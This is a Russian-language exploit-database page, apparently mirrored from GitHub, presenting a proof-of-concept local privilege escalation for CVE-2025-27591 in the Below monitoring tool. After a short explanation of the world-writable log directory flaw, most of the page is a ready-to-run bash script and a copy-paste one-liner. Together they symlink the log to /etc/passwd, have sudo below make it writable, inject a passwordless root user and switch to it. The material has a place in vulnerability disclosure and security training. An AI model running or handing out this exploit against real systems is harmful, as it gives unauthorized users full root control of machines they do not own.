Exploit for CVE-2025-27591

## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RVZSEC-CVE-2025-27591
# Below - локальное повышение привилегий (CVE-2025-27591)

  
  


![below-logo](https://assets.kitploit.com/production/public/readmes/31631/7da434ab7963a08aba1a52935d78e21ee732e49b6182c3f56c6f95cf2767bb21.png)   
  


Below <= v0.8.1  
**Локальное повышение привилегий через общедоступную символьную ссылку на лог**   
PoC-эксплойт  


  
  


* * *

### Введение

Версии `Below` <= 0.8.1 содержат критическую уязвимость локального повышения привилегий (CVE-2025-27591).  
Из-за неправильно настроенной общедоступной директории логов (`/var/log/below/`) и небезопасной логики разрешений в кодовой базе Rust, локальный злоумышленник может создать симлинк `error_<user>.log` на любой файл, принадлежащий root, например `/etc/passwd`.

При выполнении `below snapshot` с `sudo` он принудительно устанавливает режим `0666` на файл лога и записывает в него — даже если это симлинк.  
Это позволяет внедрить пользователя с привилегиями `root` без пароля, что приводит к полному доступу к оболочке root.

* * *

### Использование

root@kitploit:~
    
    
    git clone https://github.com/rvizx/CVE-2025-27591
    cd CVE-2025-27591
    chmod +x exploit.sh
    ./exploit.sh
    

**ИЛИ**

Код эксплойта

root@kitploit:~
    
    
    # Title  : Below v0.8.1 - Local Privilege Escalation (CVE-2025-27591) - PoC Exploit
    # Author : Ravindu Wickramasinghe (aka rvz)
    # Usage  : usage: ./exploit.sh
    
    
    u=$(id -un)
    rm -f /var/log/below/error_"$u".log
    ln -s /etc/passwd /var/log/below/error_"$u".log # symlink log file to /etc/passwd
    export LOGS_DIRECTORY=/var/log/below
    sudo /usr/bin/below snapshot --begin now 2>/dev/null || true # below chmods 0666 the symlink target and writes to it
    echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd # append pwn (root-priv) user entry  to /etc/passwd (now writable)
    su pwn
    

_Примечание: Добавил exploit.sh в README.md после того, как IppSec в своём прохождении использовал однострочную команду вместо exploit.sh. Подумал, что так будет удобнее для всех. Спасибо IppSec. ^^_

**ИЛИ**

Однострочная команда - (Копируй, вставляй и выполняй)

root@kitploit:~
    
    
    u=$(id -un); rm -f /var/log/below/error_"$u".log; ln -s /etc/passwd /var/log/below/error_"$u".log; export LOGS_DIRECTORY=/var/log/below; sudo /usr/bin/below snapshot --begin now 2>/dev/null || true; echo 'pwn::0:0:root:/root:/bin/bash' >> /etc/passwd; su pwn
    

* * *

### Окружение

  * Below <= v0.8.1
  * Linux под управлением systemd (Ubuntu, Arch, Fedora и т.д.)
  * Пользователь в группе `sudo` с доступом `NOPASSWD` к `/usr/bin/below *`



* * *

### Благодарности

Обнаружено и сообщено Matthias Gerstner @ SUSE - Уведомление безопасности   
PoC-эксплойт - Ravindu Wickramasinhge AKA rvz